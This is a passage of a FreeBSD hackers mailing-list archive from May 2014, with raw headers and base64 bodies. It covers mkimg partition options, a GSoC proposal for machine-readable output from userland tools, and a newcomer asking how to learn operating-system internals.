2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 22 May 2014 20:18:35 -0000 T24gNS8yMi8xNCwgMToxMiBQTSwgIkRhbiBNY0dyZWdvciIgPGRhbmlzbW9zdGxpa2VseUBnbWFp bC5jb20+IHdyb3RlOg0KDQo+T24gMjIgTWF5IDIwMTQgMTM6NTgsIE1hcmNlbCBNb29sZW5hYXIg PG1hcmNlbG1AanVuaXBlci5uZXQ+IHdyb3RlOg0KPj4gT24gNS8yMi8xNCwgMTI6MTUgUE0sICJE YW4gTWNHcmVnb3IiIDxkYW5pc21vc3RsaWtlbHlAZ21haWwuY29tPiB3cm90ZToNCj4+Pg0KPj4+ V2VsbCBJIHdvbid0OyBJJ20gbm90IGEgY29tbWl0dGVyLiBJJ2xsIGxlYXZlIGl0IHVwIHRvIHlv dSBmYW5jeQ0KPj4+cGVvcGxlIHdpdGggY29tbWl0IGJpdHMgd2hldGhlciBpdCBzaG91bGQgYmUg Y29tbWl0dGVkLg0KPj4NCj4+IENvbW1pdCBJIHNoYWxsIGRvLi4uDQo+Pg0KPj4+SSBoYXZlIG90 aGVyIGlkZWFzIGZvciB0aGUgdG9vbCB0b28sIGJ1dCBJIGRvbid0IGhhdmUgdGltZSB0byB3b3Jr IG9uDQo+Pj50aG9zZSBhdCB0aGUgbW9tZW50Lg0KPj4NCj4+IEZlZWwgZnJlZSB0byBzaGFyZSB0 aGVtLi4uDQo+DQo+VGhlIG5leHQgaXRjaCBJIHdhbnQgdG8gc2NyYXRjaCBpcyBhIHdheSB0byBz ZXQgdGhlIGFjdGl2ZSBwYXJ0aXRpb24NCj5vbiBhbiBNQlIgaW1hZ2UuDQoNCkkgdGhvdWdodCBJ IG1hZGUgdGhlIGZpcnN0IHBhcnRpdGlvbiBhY3RpdmUgYnkgZGVmYXVsdC4NCkkgZ3Vlc3Mgbm90 4oCmDQoNCi0tIA0KTWFyY2VsIE1vb2xlbmFhcg0KbWFyY2VsbUBqdW5pcGVyLm5ldA0KDQo= From owner-freebsd-hackers@FreeBSD.ORG Thu May 22 20:27:27 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8BB35220; Thu, 22 May 2014 20:27:27 +0000 (UTC) Received: from na01-bl2-obe.outbound.protection.outlook.com (mail-bl2lp0211.outbound.protection.outlook.com [207.46.163.211]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (Client CN "mail.protection.outlook.com", Issuer "MSIT Machine Auth CA 2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id ABDE727FD; Thu, 22 May 2014 20:27:25 +0000 (UTC) Received: from BY2PR05MB127.namprd05.prod.outlook.com (10.242.38.24) by BY2PR05MB126.namprd05.prod.outlook.com (10.242.38.22) with Microsoft SMTP Server (TLS) id 15.0.944.11; Thu, 22 May 2014 20:27:22 +0000 Received: from BY2PR05MB127.namprd05.prod.outlook.com ([169.254.6.14]) by BY2PR05MB127.namprd05.prod.outlook.com ([169.254.6.14]) with mapi id 15.00.0944.000; Thu, 22 May 2014 20:27:22 +0000 From: Marcel Moolenaar To: Dan McGregor Subject: Re: Patch to tech mkimg about the TMPDIR variable Thread-Topic: Patch to tech mkimg about the TMPDIR variable Thread-Index: AQHPddUFudBTcphboUmPhqEVK4WJ0ZtMaW2AgACPX4D//5aCgIAAeToA//+MaICAAAKDAA== Date: Thu, 22 May 2014 20:27:22 +0000 Message-ID: In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: user-agent: Microsoft-MacOutlook/14.3.8.130913 x-originating-ip: [66.129.239.13] x-forefront-prvs: 021975AE46 x-forefront-antispam-report: SFV:NSPM; SFS:(6009001)(428001)(199002)(189002)(51704005)(377454003)(479174003)(24454002)(80022001)(66066001)(64706001)(20776003)(19580395003)(101416001)(86362001)(81542001)(81342001)(19580405001)(83322001)(92726001)(83506001)(79102001)(36756003)(92566001)(85852003)(21056001)(1411001)(74662001)(99396002)(31966008)(76482001)(54356999)(50986999)(77982001)(4396001)(74502001)(83072002)(46102001)(2656002)(87936001); DIR:OUT; SFP:; SCL:1; SRVR:BY2PR05MB126; H:BY2PR05MB127.namprd05.prod.outlook.com; FPR:; MLV:sfv; PTR:InfoNoRecords; A:1; MX:1; LANG:en; received-spf: None (: juniper.net does not designate permitted sender hosts) authentication-results: spf=none (sender IP is ) smtp.mailfrom=marcelm@juniper.net; Content-Type: text/plain; charset="utf-8" Content-ID: Content-Transfer-Encoding: base64 MIME-Version: 1.0 X-OriginatorOrg: juniper.net X-Mailman-Approved-At: Sat, 24 May 2014 18:30:00 +0000 Cc: "freebsd-hackers@freebsd.org" , Alan Somers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 22 May 2014 20:27:27 -0000 T24gNS8yMi8xNCwgMToxOCBQTSwgIk1hcmNlbCBNb29sZW5hYXIiIDxtYXJjZWxtQGp1bmlwZXIu bmV0PiB3cm90ZToNCj4+DQo+PlRoZSBuZXh0IGl0Y2ggSSB3YW50IHRvIHNjcmF0Y2ggaXMgYSB3 YXkgdG8gc2V0IHRoZSBhY3RpdmUgcGFydGl0aW9uDQo+Pm9uIGFuIE1CUiBpbWFnZS4NCj4NCj5J IHRob3VnaHQgSSBtYWRlIHRoZSBmaXJzdCBwYXJ0aXRpb24gYWN0aXZlIGJ5IGRlZmF1bHQuDQo+ SSBndWVzcyBub3TigKYNCg0KWWVzLCBJIGRpZCENCg0KVGhlIGdvdGNoYSBpcyB0aGF0IG1raW1n IG9ubHkgZG9lcyB0aGF0IGlmIHlvdSBnaXZlIGl0DQphIGJvb3QgY29kZSBmaWxlLiBUcnkgdGhh dC4uLg0KDQotLSANCk1hcmNlbCBNb29sZW5hYXINCm1hcmNlbG1AanVuaXBlci5uZXQNCg0K From owner-freebsd-hackers@FreeBSD.ORG Thu May 22 20:46:14 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id EE6F5C63; Thu, 22 May 2014 20:46:13 +0000 (UTC) Received: from na01-bl2-obe.outbound.protection.outlook.com (mail-bl2lp0209.outbound.protection.outlook.com [207.46.163.209]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (Client CN "mail.protection.outlook.com", Issuer "MSIT Machine Auth CA 2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 6002329BE; Thu, 22 May 2014 20:46:12 +0000 (UTC) Received: from BY2PR05MB127.namprd05.prod.outlook.com (10.242.38.24) by BY2PR05MB128.namprd05.prod.outlook.com (10.242.38.25) with Microsoft SMTP Server (TLS) id 15.0.944.11; Thu, 22 May 2014 20:45:58 +0000 Received: from BY2PR05MB127.namprd05.prod.outlook.com ([169.254.6.14]) by BY2PR05MB127.namprd05.prod.outlook.com ([169.254.6.14]) with mapi id 15.00.0944.000; Thu, 22 May 2014 20:45:58 +0000 From: Marcel Moolenaar To: Dan McGregor Subject: Re: Patch to tech mkimg about the TMPDIR variable Thread-Topic: Patch to tech mkimg about the TMPDIR variable Thread-Index: AQHPddUFudBTcphboUmPhqEVK4WJ0ZtMaW2AgACPX4D//5aCgIAAeToA//+MaICAAAKDAIAAdwmA//+OKIA= Date: Thu, 22 May 2014 20:45:57 +0000 Message-ID: In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: user-agent: Microsoft-MacOutlook/14.3.8.130913 x-originating-ip: [66.129.239.13] x-forefront-prvs: 021975AE46 x-forefront-antispam-report: SFV:NSPM; SFS:(6009001)(428001)(479174003)(377454003)(24454002)(51704005)(189002)(199002)(77982001)(76482001)(83072002)(2656002)(64706001)(86362001)(85852003)(79102001)(80022001)(83506001)(101416001)(21056001)(20776003)(36756003)(92566001)(81542001)(87936001)(1411001)(81342001)(19580395003)(46102001)(31966008)(4396001)(74662001)(83322001)(50986999)(99396002)(74502001)(19580405001)(92726001)(66066001)(54356999); DIR:OUT; SFP:; SCL:1; SRVR:BY2PR05MB128; H:BY2PR05MB127.namprd05.prod.outlook.com; FPR:; MLV:sfv; PTR:InfoNoRecords; MX:1; A:1; LANG:en; received-spf: None (: juniper.net does not designate permitted sender hosts) authentication-results: spf=none (sender IP is ) smtp.mailfrom=marcelm@juniper.net; Content-Type: text/plain; charset="utf-8" Content-ID: <84680C56D5DC6F42B8A9ED4114A27879@namprd05.prod.outlook.com> Content-Transfer-Encoding: base64 MIME-Version: 1.0 X-OriginatorOrg: juniper.net X-Mailman-Approved-At: Sat, 24 May 2014 18:30:09 +0000 Cc: "freebsd-hackers@freebsd.org" , Alan Somers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 22 May 2014 20:46:14 -0000 T24gNS8yMi8xNCwgMTozMyBQTSwgIkRhbiBNY0dyZWdvciIgPGRhbmlzbW9zdGxpa2VseUBnbWFp bC5jb20+IHdyb3RlOg0KDQo+T24gMjIgTWF5IDIwMTQgMTQ6MjcsIE1hcmNlbCBNb29sZW5hYXIg PG1hcmNlbG1AanVuaXBlci5uZXQ+IHdyb3RlOg0KPj4gT24gNS8yMi8xNCwgMToxOCBQTSwgIk1h cmNlbCBNb29sZW5hYXIiIDxtYXJjZWxtQGp1bmlwZXIubmV0PiB3cm90ZToNCj4+Pj4NCj4+Pj5U aGUgbmV4dCBpdGNoIEkgd2FudCB0byBzY3JhdGNoIGlzIGEgd2F5IHRvIHNldCB0aGUgYWN0aXZl IHBhcnRpdGlvbg0KPj4+Pm9uIGFuIE1CUiBpbWFnZS4NCj4+Pg0KPj4+SSB0aG91Z2h0IEkgbWFk ZSB0aGUgZmlyc3QgcGFydGl0aW9uIGFjdGl2ZSBieSBkZWZhdWx0Lg0KPj4+SSBndWVzcyBub3Ti gKYNCj4+DQo+PiBZZXMsIEkgZGlkIQ0KPj4NCj4+IFRoZSBnb3RjaGEgaXMgdGhhdCBta2ltZyBv bmx5IGRvZXMgdGhhdCBpZiB5b3UgZ2l2ZSBpdA0KPj4gYSBib290IGNvZGUgZmlsZS4gVHJ5IHRo YXQuLi4NCj4NCj5BbHNvLCB3aGlsZSBJJ20gdGhpbmtpbmcgYWJvdXQgaXQsIHRoZSBvdGhlciB0 aGluZyBJIHdhbnRlZCB3YXMgYSB3YXkNCj50byBzcGVjaWZ5IHRoZSBvcmlnaW4gb2YgYSBwYXJ0 aXRpb24uIFNvIGFzIGFuIGV4YW1wbGUgKHVuaXRzIGFyZQ0KPnNlY3RvcnMpOg0KPg0KPjA6IE1C UiB0YWJsZQ0KPjItNjM6IGVtcHR5DQo+NjQtMjA0NzogZmlyc3QgcGFydGl0aW9uIGRhdGENCj4y MDQ4LSRlbmQ6IHNlY29uZCBwYXJ0aXRpb24gZGF0YQ0KPg0KPlRoZSB1c2UgY2FzZSBmb3IgdGhp cyBpcyBzb21lIG90aGVyIGJvYXJkcyAoV2FuZGJvYXJkIGZvciBtZSkgcHV0cw0KPnUtYm9vdCBh cyByYXcgZGF0YSAxSyBpbnRvIHRoZSBpbWFnZS4NCg0KVGhlcmUgYXJlIDIgd2F5cyB0byBkbyB0 aGF0IGFscmVhZHk6DQoxLiBTZXQgdGhlIHBoeXNpY2FsIHNlY3RvciBzaXplLiBUaGUgbWtpbWcg d2lsbCBhbGlnbg0KICAgcGFydGl0aW9ucyB0byBwaHlzaWNhbCBzZWN0b3IgYm91bmRhcmllcy4g QSAxSyBvcg0KICAgNEsgcGh5c2ljYWwgc2VjdG9yIHNpemUgaXMgbm90IHdlaXJkLiBUaGlzIHdv cmtzDQogICB3ZWxsIHdpdGggR1BULCBBUE0sIGV0Yy4NCjIuIFNldCB0aGUgbnVtYmVyIG9mIHNl Y3RvcnMvdHJhY2suIFRoZSBNQlIgc2NoZW1lDQogICB3aWxsIGFsaWduIHBhcnRpdGlvbnMgdG8g dHJhY2sgYm91bmRhcmllcy4gVGhpcw0KICAgd29ya3Mgd2VsbCB3aXRoIE1CUiAmIEVCUi4NCg0K SFRILA0KDQotLSANCk1hcmNlbCBNb29sZW5hYXINCm1hcmNlbG1AanVuaXBlci5uZXQNCg0K From owner-freebsd-hackers@FreeBSD.ORG Fri May 23 13:27:07 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 61F0CE44 for ; Fri, 23 May 2014 13:27:07 +0000 (UTC) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:1900:2254:206c::16:87]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 330732CAE; Fri, 23 May 2014 13:27:07 +0000 (UTC) Received: from [IPv6:::1] (localhost [127.0.0.1]) by freefall.freebsd.org (8.14.8/8.14.8) with ESMTP id s4NDR5Fi047977; Fri, 23 May 2014 13:27:06 GMT (envelope-from jonathan.robert.anderson@gmail.com) Content-Type: text/plain; charset=us-ascii Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.2\)) Subject: Re: [GSoC] Machine readable output from userland utilities From: Jonathan Anderson In-Reply-To: Date: Fri, 23 May 2014 10:57:06 -0230 Content-Transfer-Encoding: quoted-printable Message-Id: References: <49E9736E-AD14-4647-8B15-30603D01360C@mail.bg> To: Wojciech Puchar X-Mailer: Apple Mail (2.1878.2) X-Mailman-Approved-At: Sat, 24 May 2014 18:30:52 +0000 Cc: freebsd-hackers@freebsd.org, Zaro Korchev X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 23 May 2014 13:27:07 -0000 On 23 May 2014, at 10:13, Wojciech Puchar = wrote: > ideas completely against unix simplicity. I disagree quite vigorously. this proposal is very much like FreeBSD's = sysctl vs Linux's sysfs. It might be against the Plan 9 way of doing = things, but it would actually let us be "more unix than unix". Imagine: $ ifconfig | filterBy "ether" " 3c:07:.*" | sortBy "ether" | output = my_ifconfig.format # or "json" or "xml" or ... A pipeline of little tools, each doing one thing well: how much more = unix can you get? Currently, every command-line tool has to do two or = three things: 1. its primary job, 2. output some arbitrary text format (that you're never allowed to = change because other tools scrape it) and 3. (optionally) parse arbitrary text formats generated by users or some = other tool. Task 2 is annoying: in order to usefully query command-line tools, I = have to write a parser. The tool has binary data, I want binary data, = but we have to go through a dump/parse dance in order for me to get the = data. This is the approach (again, from Plan 9) that brings you Linux = sysfs. Perhaps David would now like to comment on his cross-platform = "how much battery do I have" experience. :) Task 3 isn't just annoying, however, it's risky. If every tool = implements its own string protocol parsing, we greatly increase the risk = of unnoticed bugs. Better to centralize as much string parsing as = possible into a single library, which can be rigorously analyzed (and = optimized!). Imagine if geom didn't have to speak XML natively, but rather used a = supported-everywhere-in-base data structure that users could convert = into XML if they need it. Desktop applications are going to start = requiring structured data passing via kdbus-like interfaces (currently = based on GLib's GVariant), so we might as well have a structured = representation that we like and are able to provide ABI support for = (and, in the kdbus case, can possibly be converted to/from GVariant as = required). Basically, I think this is an excellent GSoC project idea. Jon -- Jonathan Anderson jonathan@FreeBSD.org http://freebsd.org/~jonathan/= From owner-freebsd-hackers@FreeBSD.ORG Fri May 23 16:11:50 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5EF314DF; Fri, 23 May 2014 16:11:50 +0000 (UTC) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:1900:2254:206c::16:87]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 45CEE2D00; Fri, 23 May 2014 16:11:50 +0000 (UTC) Received: from [IPv6:::1] (localhost [127.0.0.1]) by freefall.freebsd.org (8.14.8/8.14.8) with ESMTP id s4NGBmr6009078; Fri, 23 May 2014 16:11:49 GMT (envelope-from jonathan.robert.anderson@gmail.com) Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.2\)) Subject: Re: [GSoC] Machine readable output from userland utilities From: Jonathan Anderson In-Reply-To: Date: Fri, 23 May 2014 13:41:50 -0230 Message-Id: <9D7D4A7D-31F0-45D8-8C16-977D4FA879D6@gmail.com> References: <49E9736E-AD14-4647-8B15-30603D01360C@mail.bg> <537F0DD9.6090805@highsecure.ru> <537F11A9.8020504@mu.org> To: Adrian Chadd X-Mailer: Apple Mail (2.1878.2) X-Mailman-Approved-At: Sat, 24 May 2014 18:31:07 +0000 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: Alfred Perlstein , FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 23 May 2014 16:11:50 -0000 On 23 May 2014, at 13:34, Adrian Chadd wrote: > I'd actually prefer that some library API (like what's in libstatfoo) > gets fleshed out to cover what hooks and options are required so you > don't have to have the bikeshed argument of "what format." You only > need to write some code to output it in the format you want. >=20 > The UNIX way is tools, not policy. The library is a policy, sure, but > it's a policy to let you define your own policies. It won't be locking > anyone into anything like "json or bust." >=20 > So how about the focus be on that, rather than trying to teach > individual tools about individual encoding types? I think that's pretty much what the proposal says: > I'm planning to create a unified output abstraction in the form of a > library. The tools supporting the machine-readable output feature > will write output exclusively using the library. The exact output = format > will be customizable. Several backend libraries (like libucl and = libnv) > can be used to implement different formats. Am I perhaps misunderstanding you, and you're actually saying "let's not = get distracted by bikesheds, the proposal is terrific as-is"? Jon -- Jonathan Anderson jonathan@FreeBSD.org http://freebsd.org/~jonathan/= From owner-freebsd-hackers@FreeBSD.ORG Fri May 23 16:38:42 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 007545EB; Fri, 23 May 2014 16:38:41 +0000 (UTC) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:1900:2254:206c::16:87]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id DCD2A2F10; Fri, 23 May 2014 16:38:41 +0000 (UTC) Received: from [IPv6:::1] (localhost [127.0.0.1]) by freefall.freebsd.org (8.14.8/8.14.8) with ESMTP id s4NGceUJ017051; Fri, 23 May 2014 16:38:40 GMT (envelope-from jonathan.robert.anderson@gmail.com) Content-Type: text/plain; charset=us-ascii Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.2\)) Subject: Re: [GSoC] Machine readable output from userland utilities From: Jonathan Anderson In-Reply-To: Date: Fri, 23 May 2014 14:08:42 -0230 Content-Transfer-Encoding: 7bit Message-Id: <5207F81B-0EE5-4A94-9FE2-25BC43D449D7@gmail.com> References: <49E9736E-AD14-4647-8B15-30603D01360C@mail.bg> <537F0DD9.6090805@highsecure.ru> <537F11A9.8020504@mu.org> <9D7D4A7D-31F0-45D8-8C16-977D4FA879D6@gmail.com> To: Adrian Chadd X-Mailer: Apple Mail (2.1878.2) X-Mailman-Approved-At: Sat, 24 May 2014 18:31:21 +0000 Cc: Alfred Perlstein , FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 23 May 2014 16:38:42 -0000 On 23 May 2014, at 14:00, Adrian Chadd wrote: > ayup. :) Jon -- Jonathan Anderson jonathan@FreeBSD.org http://freebsd.org/~jonathan/ From owner-freebsd-hackers@FreeBSD.ORG Sat May 24 07:36:12 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C7FF5887 for ; Sat, 24 May 2014 07:36:12 +0000 (UTC) Received: from mail.soaustin.net (pancho.soaustin.net [76.74.250.40]) by mx1.freebsd.org (Postfix) with ESMTP id A7F2E238F for ; Sat, 24 May 2014 07:36:12 +0000 (UTC) Received: by mail.soaustin.net (Postfix, from userid 502) id F1FBE56163; Sat, 24 May 2014 02:36:11 -0500 (CDT) Date: Sat, 24 May 2014 02:36:11 -0500 From: Mark Linimon To: Erich Dollansky Subject: Re: who pay for such webpages? Message-ID: <20140524073611.GB28382@lonesome.com> References: <537F7594.5080003@tysdomain.com> <20140524075734.233907c7@X220.alogt.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140524075734.233907c7@X220.alogt.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Mailman-Approved-At: Sat, 24 May 2014 18:32:38 +0000 Cc: Wojciech Puchar , tyler@tysdomain.com, arrowdodger <6yearold@gmail.com>, freebsd-hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 24 May 2014 07:36:12 -0000 ok. here's the deal, folks. late-night. YMMV. if you see this: Wojciech Puchar Skip it. OK? Find something real to actually work on. We have plenty of PRs, about things that actually need to be fixed. mcl From owner-freebsd-hackers@FreeBSD.ORG Sun May 25 03:26:21 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8F0CBA72 for ; Sun, 25 May 2014 03:26:21 +0000 (UTC) Received: from nm44-vm6.bullet.mail.bf1.yahoo.com (nm44-vm6.bullet.mail.bf1.yahoo.com [216.109.115.30]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 3F7302725 for ; Sun, 25 May 2014 03:26:21 +0000 (UTC) Received: from [98.139.215.143] by nm44.bullet.mail.bf1.yahoo.com with NNFMP; 25 May 2014 03:24:21 -0000 Received: from [98.139.213.15] by tm14.bullet.mail.bf1.yahoo.com with NNFMP; 25 May 2014 03:24:21 -0000 Received: from [127.0.0.1] by smtp115.mail.bf1.yahoo.com with NNFMP; 25 May 2014 03:24:21 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1400988261; bh=fZ07qbgV/HkU2AWGboo4BLWMsi1KJIGhgtOrgXx4rDg=; h=X-Yahoo-Newman-Id:X-Yahoo-Newman-Property:X-YMail-OSG:X-Yahoo-SMTP:X-Rocket-Received:Message-ID:Date:From:User-Agent:MIME-Version:To:Subject:Content-Type:Content-Transfer-Encoding; b=o3fHcsZe4woGubwxdNKiDgcwcLf1r3vIiojdo+Ht1JmxbxWSiAZn1lHbDSJmjTfKBIG6WRUgaDWlF5anLUz5Ey9QvKgPGTtT70O45HWKGD1CjGsT7O0jylxtxVU/hB7/v1MQ5jxoByIilFsXGOpgTWu1grMg6QQpB3FiDJm8FKs= X-Yahoo-Newman-Id: 441404.6532.bm@smtp115.mail.bf1.yahoo.com X-Yahoo-Newman-Property: ymail-3 X-YMail-OSG: Gk.xUD8VM1ktHhjae4lk38qcPud386ExIyGBa9e7FCGK_p5 lYF8ilpjgNCEfs7feqyJpGZCo3BfE0gTDTkkTDlK0yLgLD0lSqe8MJLw9jV2 WV8lcKMA8mCpVHsSnd3h6avb3LmOj0XUS97kAadOYFdafBRQSB8LRXfyDtZM mW5WmQ6.sKj8whIStGPxL3dU.ZIG4Ep0tIfCHnL6WkO3pjeHD._iBw8Tlu26 neomrmW8.h2H8OSeki0SCugAdOkZYboH8rSOIXDnNPcOol.zJ4bR2nDvcpp. j.js8o_Lajz0JzK8omveGlyfCsc0xFqcDcopTHFFm6tGDQfxnucnik_pIC57 pr3YFFw9nyD3cHkmlbA4ArXERyQQwmUphfBW4mZAPqWhDOqBVSs9MCRPrwLa vSLDEB6fVbcp0Dx1gpLmJt6rUbvLPp71FNDlQe1K45yQ5ERhDxqI3LVKIquY q4NW2sto_psWGnmWqF10Ab5W6cGkmndjnB9koj19q9Tbz6dWD X-Yahoo-SMTP: LAFNfTaswBDguI7meB90l2l3wOU- X-Rocket-Received: from [172.16.106.131] (free7by@59.51.81.51 with plain [106.10.150.171]) by smtp115.mail.bf1.yahoo.com with SMTP; 24 May 2014 20:24:21 -0700 PDT Message-ID: <53816258.6030703@yahoo.com> Date: Sun, 25 May 2014 11:24:08 +0800 From: by User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: freebsd-hackers Subject: How to get familiar with a system Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 25 May 2014 03:26:21 -0000 Hi, I really want to get familiar with an operating system, and i am using FreeBSD 10 RELEASE on an i386 machine now, but the problem is how to start, or i would say, what methods can be used to uncover the secret of an operating system? Cause i have install the source code on my machine, i have tried to hack the basic utilities one by one, like echo, ls, cat, etc. But i find i work too slow, and i can not find the exciting experience i have got before for resolving a problem. I know people can not dive into every detail, just one deeply dig is okay. But i find i have no motion now, may be i need a project : ) And i know my skill is too poor to be a system programmer, at least i hope i can be one : ) So anyone who already has familiar with an operating system could share some ideas? Everyone must has a beginning, and everyone has everyone's own ideas to hack, but as a new comer, i still hope to get some ideas. I know this is not a very specific questions, so i have not search the mailing list to find some related answers, or i just want to interact with hackers rather than the history papers as a question like this, i hope this is not too rude : ) Maybe because of the environment i live, i find it is not as easy as you to get so many chances to practice, or just because of my lack of courage. Maybe i should start up a company to push myself to work on this, or i just need a related job and do my own hacks. I do not know how to do. Maybe i need a plan, actually, i have just planed for some book reading everyday, i would say, there are three books, which are C related, UNIX related, and of course FreeBSD related. I read these three books everyday but just a little, i know my poor English and poor ability for solving problems make my slow reading, and i know i make those three books as dictionaries, and i think they are, and i know after i finish the slow reading, when i get some problems in the future, i can get benefits from this slow reading, and find related solving ways quickly from these three books. But i know hackers should do some real things not just for theories related. Maybe i really need to involve myself into a small, real, project, any suggestion? Well, i feel it is very stupid for asking questions like this, but i know i really need this. Actually the final problem is how to recognize this world, from a small, simple point, or from the universe view? : ) - by From owner-freebsd-hackers@FreeBSD.ORG Sun May 25 05:58:52 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1C626BB2 for ; Sun, 25 May 2014 05:58:52 +0000 (UTC) Received: from mail-ig0-x242.google.com (mail-ig0-x242.google.com [IPv6:2607:f8b0:4001:c05::242]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id E50E920AC for ; Sun, 25 May 2014 05:58:51 +0000 (UTC) Received: by mail-ig0-f194.google.com with SMTP id hn18so775469igb.1 for ; Sat, 24 May 2014 22:58:51 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=ilpHku6AAldYuTtQg0xxdriPtiC9iRBzblDioiHoRdQ=; b=A5oFj1+QmTMMU6barO8LXop/3pJYUkH+dFqsPjPwR621vF3U5GLaWJmUMYhQMykuE/ juiCuTkTLylNjrx2ltKd4qE/jzhiWr/8GMq6Oz1pdPo58VvpXWpLs1gcB/l5v8XXJpt6 yvH5bVmgbKWB0SWMTeo5YJNvoWqltSqtbZv3H861LWdWdOhtW1BVmHV5DnmsOqFq6qGB 